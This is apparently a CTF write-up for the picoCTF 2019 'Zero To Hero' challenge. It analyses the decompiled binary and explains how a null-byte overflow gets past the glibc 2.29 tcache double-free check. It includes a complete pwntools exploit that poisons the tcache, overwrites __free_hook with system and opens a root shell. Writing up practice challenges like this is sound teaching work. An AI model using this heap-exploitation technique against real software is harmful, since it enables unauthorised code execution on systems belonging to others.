Zero To Hero

This was a fun challenge from picoctf 2019. It was rated 500 points and had very few solves during the ctf. Although it wasn’t that tough.

Description

Now you’re really cooking. Can you pwn this service?. Connect with nc 2019shell1.picoctf.com 49929. libc.so.6 ld-2.29.so

Quick Overview

It’s a 64 bit dynamically linked elf executable -

root@kali:~/picoctf-2019/zero_to_hero# file ./zero_to_hero 
./zero_to_hero: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /root/picoctf-2019/ld-2.29.so, for GNU/Linux 3.2.0, BuildID[sha1]=cf8bd977ca01d23e9b004a6dc637d6ab7c56e656, stripped

Running checksec -

root@kali:~/picoctf-2019/zero_to_hero# checksec ./zero_to_hero 
[*] '/root/picoctf-2019/zero_to_hero/zero_to_hero'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  './'

Checksec shows us that Everything except PIE is enabled. We’ll later see that our solution works regardless of PIE.

Running the binary -

From Zero to Hero
So, you want to be a hero?
y
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7f777a154ff0
1. Get a superpower
2. Remove a superpower
3. Exit
>

When we run it, it asks us y/n we send y and it loads the main program. It leaks us an address (probably some libc address?).

Decompiling & Analyzing the code

main function -

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("From Zero to Hero");
  puts("So, you want to be a hero?");
  buf[read(0, buf, 0x14uLL)] = 0;
  if ( buf[0] != 121 )
  {
    puts("No? Then why are you even here?");
    exit(0);
  }
  puts("Really? Being a hero is hard.");
  puts("Fine. I see I can't convince you otherwise.");
  printf("It's dangerous to go alone. Take this: %p\n", &system);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_400997();
      printf("> ");
      v3 = 0;
      __isoc99_scanf("%d", &v3);
      getchar();
      if ( v3 != 2 )
        break;
      sub_400BB3();
    }
    if ( v3 == 3 )
      break;
    if ( v3 != 1 )
      goto LABEL_10;
    sub_400A4D();
  }
  puts("Giving up?");
LABEL_10:
  exit(0);
}

create superpower -

unsigned __int64 sub_400A4D()
{
  __int64 v0; // rbx
  size_t size; // [rsp+0h] [rbp-20h]
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  LODWORD(size) = 0;
  HIDWORD(size) = sub_4009C2();
  if ( (size & 0x8000000000000000LL) != 0LL )
  {
    puts("You have too many powers!");
    exit(-1);
  }
  puts("Describe your new power.");
  puts("What is the length of your description?");
  printf("> ");
  __isoc99_scanf("%u", &size);
  getchar();
  if ( (unsigned int)size > 0x408 )
  {
    puts("Power too strong!");
    exit(-1);
  }
  *((_QWORD *)&unk_602060 + SHIDWORD(size)) = malloc((unsigned int)size);
  puts("Enter your description: ");
  printf("> ");
  v0 = *((_QWORD *)&unk_602060 + SHIDWORD(size));
  *(_BYTE *)(v0 + read(0, *((void **)&unk_602060 + SHIDWORD(size)), (unsigned int)size)) = 0;
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

delete superpower -

unsigned __int64 sub_400BB3()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Which power would you like to remove?");
  printf("> ");
  __isoc99_scanf("%u", &v1);
  getchar();
  if ( v1 > 6 )
  {
    puts("Invalid index!");
    exit(-1);
  }
  free(*((void **)&unk_602060 + v1));
  return __readfsqword(0x28u) ^ v2;
}

Exploitation

Now that we have a double free bug, we could simply free it twice and do tcache poisoning and all but that won’t work because it’s using libc 2.29 and not libc 2.27.
There was a mitigation introduced in libc 2.28 because of which you can no longer double free chunks.

We can look at the definition of tcache_entry here - https://elixir.bootlin.com/glibc/glibc-2.29/source/malloc/malloc.c#L2904

typedef struct tcache_entry
{
  struct tcache_entry *next;
  struct tcache_perthread_struct *key;
} tcache_entry;

It uses the tcache_perthread_struct struct to detect double frees. When a chunk is freed, the key value is set to the address of tcache_perthread_struct for that size. When a chunk is returned from the tcache list, the key value is cleared. Thus, it would be very unusual to have the address of tcache_perthread_struct set for the key position when the chunk is freed. So, if the tcache_perthread_struct address is found there, it iterates over the tcache list for that size and checks for a double free. If it does, it calls double free detected….

Now, one way would be to somehow nullify the key field of the chunk which is already freed. But this is not possible in our case.

But as we have a null byte overflow bug, the following can be done -

malloc(0x18,'a') # First chunk
malloc(0x118,'b') # Second chunk
malloc(0x118,'c') # third chunk (just for tcache count)

free(0) # goes to 0x20 tcache bin
free(2) # goes to 
free(1) # 0x120 tcache bin

malloc(0x18,'A'*0x18) #Allocate chunk 1 back from 0x20 tcache bin and do null byte overflow.
free(1) # chunk 2 size changed to 0x100 so we can double free it.

Now that we have a double free, we could simply do tcache poisoning into &__free_hook and write system. Then freeing a chunk pointing to “/bin/sh\0” will give us a shell.

malloc(0xf8,p64(libc.symbols['__free_hook'])) # tcache poisoning
malloc(0x118,'/bin/sh\x00')
malloc(0x118,p64(libc.symbols['system'])) # malloc returns &__free_hook
free(1) # system("/bin/sh")

Final exploit -

#!/usr/bin/env python

from pwn import *

p = process('./zero_to_hero')
e = ELF('./zero_to_hero')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def malloc(size,data):
    p.sendlineafter('> ','1')
    p.sendlineafter('> ',str(size))
    p.sendafter('> ',data)

def free(idx):
    p.sendlineafter('> ','2')
    p.sendlineafter('> ',str(idx))

def die():
    p.sendlineafter('> ','3')

p.sendlineafter('?\n','y')

for i in xrange(2):
    p.recvline()

system = int(p.recvline().strip().split(' ')[-1],16)
libc.address = system-libc.symbols['system']

log.success('libc base at: '+hex(libc.address))
log.success('system at: '+hex(system))
log.success('free hook at: '+hex(libc.symbols['__free_hook']))

malloc(0x18,'a') # First chunk
malloc(0x118,'b') # Second chunk
malloc(0x118,'c') # third chunk (just for tcache count)

free(0) # goes to 0x20 tcache bin
free(2) # goes to 
free(1) # 0x120 tcache bin

malloc(0x18,'A'*0x18) #Allocate chunk 1 back from 0x20 tcache bin and do null byte overflow.
free(1) # chunk 2 size changed to 0x100 so we can double free it.

malloc(0xf8,p64(libc.symbols['__free_hook'])) # tcache poisoning
malloc(0x118,'/bin/sh\x00')
malloc(0x118,p64(libc.symbols['system'])) # malloc returns &__free_hook
free(1) # system("/bin/sh")

p.interactive()

Running the exploit -

root@kali:~/bak/picoctf-2019/zero_to_hero# python exp.py 
[+] Starting local process './zero_to_hero': pid 965814
[*] '/root/bak/picoctf-2019/zero_to_hero/zero_to_hero'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  './'
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc base at: 0x7fb33f4df000
[+] system at: 0x7fb33f525ff0
[+] free hook at: 0x7fb33f69b5a8
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)